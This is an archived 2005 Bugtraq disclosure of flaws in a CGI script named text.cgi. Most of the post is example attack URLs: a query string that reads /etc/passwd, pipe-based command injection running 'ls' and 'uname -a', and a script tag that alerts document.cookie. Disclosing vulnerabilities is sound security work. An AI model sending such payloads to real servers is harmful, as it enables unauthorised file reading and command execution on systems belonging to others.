[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
remote command execution in text.cgi script
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: remote command execution in text.cgi script
- From: fireboy fireboy <fireboynet@xxxxxxxxxxxx>
- Date: 25 Apr 2005 04:20:12 -0000
Tunis 24/04/2005
BUG found by fireboy
fireboy@xxxxxxxxxxxx
THERE ARE SOME BUGS IN text.cgi SCRIPT THAT CAN SHOW SENSILBLES FILES IN A
SYSTEM
OR EXECUTE COMMANDS IN THE TARGET HOST WICH CAN COMPROMISE IT.
IT IS ONLY FOR SECURITY AND EDUCATIONAL PURPOSE
1)file showing
http://www.target.com/cgi-bin/text.cgi?/etc/passwd
2)remote code execution
http://www.target.com/cgi-bin/text.cgi?|command
3)CSS
http://www.target.com/cgi-bin/text.cgi?<script>alert(document.cookie)</script>
ex:
http://www.target.com/cgi-bin/text.cgi?|ls;uname -a;
greetz to all magattack memebers www.magattack.tk